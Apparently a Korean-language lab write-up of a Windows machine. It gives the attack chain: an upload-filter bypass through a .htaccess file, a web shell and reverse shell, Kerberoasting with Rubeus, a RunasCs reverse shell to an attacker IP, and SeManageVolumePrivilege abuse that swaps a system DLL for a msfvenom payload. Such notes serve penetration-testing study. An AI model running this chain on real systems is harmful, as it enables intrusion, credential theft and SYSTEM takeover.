Machine IP :

초기 침투

[서비스] / [취약점] / [CVE 또는 기법] 요약

포트 스캔

80 포트 접속

Buy Tickets 버튼 누르면 티켓 구매 화면으로 이동함 Buy Now 버튼 클릭, 파일 업로드할 수 있음

php 확장자는 차단됨, PHP/8.0.7 버전이라 널 바이트 인젝션도 불가능함

HTTP/1.1 200 OK
Date: Mon, 29 Jun 2026 12:50:58 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Content-Length: 123
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<script type="text/javascript">alert("This file extension is not allowed !!");window.location.href = "index.html";</script>

.htaccess 파일 업로드

AddType application/x-httpd-php .evil

.evil 확장자로 파일 업로드

권한 상승

[misconfiguration 또는 exploit] 요약 evil확장자로 웹쉘 업로드 후, 리버스쉘 연결 net users 결과, svc_apache와 svc_mssql 계정이 존재함

PS C:\> net users

User accounts for \\SERVER

-------------------------------------------------------------------------------
Administrator            Guest                    krbtgt                   
svc_apache               svc_mssql                
The command completed successfully.

svc_apache, svc_mssql 크리덴셜이 없기 때문에 윈도우에서 커버로스팅 시도함

PS C:\xampp\htdocs\uploads> ./Rubeus.exe kerberoast /nowrap

svc_mssql 계정의 패스워드 확보 RunasCs 사용해 mssql 로그인 Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command cmd.exe -Remote 192.168.45.197:443

로그인, whoami /priv SemanageVolumePrivilege 권한 존재함

msfvenom으로 악성 dll 생성

SemanageVolumeExploit.exe 실행 https://github.com/CsEnox/SeManageVolumeExploit/blob/main/README.md

리버스쉘 dll을 해당 경로에 덮어쓰기C:\Windows\System32\spool\drivers\x64\3\Printconfig.dll

PowerShell 명령을 실행하여 PrintNotify 개체 초기화

$type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}")
$object = [Activator]::CreateInstance($type)

시스템 권한 획득

막힌 포인트

[열거 누락? 기법 몰랐음? 방향 잘못?] 요약